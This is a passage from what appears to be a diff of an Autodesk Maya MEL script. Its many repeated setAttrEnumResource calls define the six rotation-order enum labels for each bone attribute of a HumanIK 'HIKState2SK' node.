"yzx" ); +setAttrEnumResource( "HIKState2SK", "HipsROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "HipsROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "HipsROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "HipsROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftUpLegROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftUpLegROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftUpLegROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftUpLegROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftUpLegROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftUpLegROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftLegROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftLegROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftLegROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftLegROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftLegROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftLegROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightUpLegROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightUpLegROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightUpLegROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightUpLegROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightUpLegROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightUpLegROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightLegROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightLegROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightLegROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightLegROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightLegROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightLegROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "SpineROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "SpineROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "SpineROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "SpineROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "SpineROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "SpineROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftArmROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftArmROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftArmROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftArmROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftArmROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftArmROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftForeArmROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftForeArmROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftForeArmROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftForeArmROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftForeArmROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftForeArmROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightArmROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightArmROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightArmROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightArmROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightArmROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightArmROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightForeArmROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightForeArmROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightForeArmROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightForeArmROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightForeArmROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightForeArmROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "HeadROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "HeadROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "HeadROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "HeadROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "HeadROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "HeadROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftToeBaseROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftToeBaseROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftToeBaseROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftToeBaseROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftToeBaseROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftToeBaseROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightToeBaseROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightToeBaseROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightToeBaseROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightToeBaseROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightToeBaseROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightToeBaseROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftShoulderROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftShoulderROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftShoulderROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftShoulderROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftShoulderROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftShoulderROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightShoulderROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightShoulderROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightShoulderROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightShoulderROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightShoulderROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightShoulderROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "NeckROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "NeckROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "NeckROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "NeckROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "NeckROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "NeckROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFingerBaseROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFingerBaseROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFingerBaseROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFingerBaseROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFingerBaseROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFingerBaseROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFingerBaseROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFingerBaseROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFingerBaseROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFingerBaseROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFingerBaseROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFingerBaseROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "Spine1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "Spine1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "Spine1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "Spine1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "Spine1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "Spine1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "Spine2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "Spine2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "Spine2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "Spine2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "Spine2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "Spine2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "Spine3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "Spine3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "Spine3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "Spine3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "Spine3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "Spine3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "Spine4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "Spine4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "Spine4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "Spine4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "Spine4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "Spine4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "Spine5ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "Spine5ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "Spine5ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "Spine5ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "Spine5ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "Spine5ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "Spine6ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "Spine6ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "Spine6ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "Spine6ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "Spine6ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "Spine6ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "Spine7ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "Spine7ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "Spine7ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "Spine7ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "Spine7ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "Spine7ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "Spine8ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "Spine8ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "Spine8ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "Spine8ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "Spine8ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "Spine8ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "Spine9ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "Spine9ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "Spine9ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "Spine9ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "Spine9ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "Spine9ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "Neck1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "Neck1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "Neck1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "Neck1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "Neck1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "Neck1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "Neck2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "Neck2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "Neck2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "Neck2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "Neck2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "Neck2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "Neck3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "Neck3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "Neck3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "Neck3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "Neck3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "Neck3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "Neck4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "Neck4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "Neck4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "Neck4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "Neck4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "Neck4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "Neck5ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "Neck5ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "Neck5ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "Neck5ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "Neck5ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "Neck5ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "Neck6ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "Neck6ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "Neck6ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "Neck6ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "Neck6ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "Neck6ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "Neck7ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "Neck7ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "Neck7ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "Neck7ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "Neck7ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "Neck7ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "Neck8ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "Neck8ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "Neck8ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "Neck8ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "Neck8ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "Neck8ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "Neck9ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "Neck9ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "Neck9ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "Neck9ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "Neck9ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "Neck9ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftUpLegRollROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftUpLegRollROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftUpLegRollROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftUpLegRollROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftUpLegRollROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftUpLegRollROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftLegRollROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftLegRollROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftLegRollROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftLegRollROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftLegRollROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftLegRollROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightUpLegRollROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightUpLegRollROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightUpLegRollROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightUpLegRollROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightUpLegRollROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightUpLegRollROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightLegRollROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightLegRollROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightLegRollROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightLegRollROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightLegRollROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightLegRollROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftArmRollROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftArmRollROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftArmRollROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftArmRollROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftArmRollROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftArmRollROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftForeArmRollROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftForeArmRollROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftForeArmRollROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftForeArmRollROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftForeArmRollROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftForeArmRollROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightArmRollROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightArmRollROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightArmRollROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightArmRollROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightArmRollROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightArmRollROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightForeArmRollROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightForeArmRollROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightForeArmRollROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightForeArmRollROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightForeArmRollROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightForeArmRollROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "HipsTranslationROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "HipsTranslationROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "HipsTranslationROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "HipsTranslationROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "HipsTranslationROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "HipsTranslationROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle4ROrder", 2, 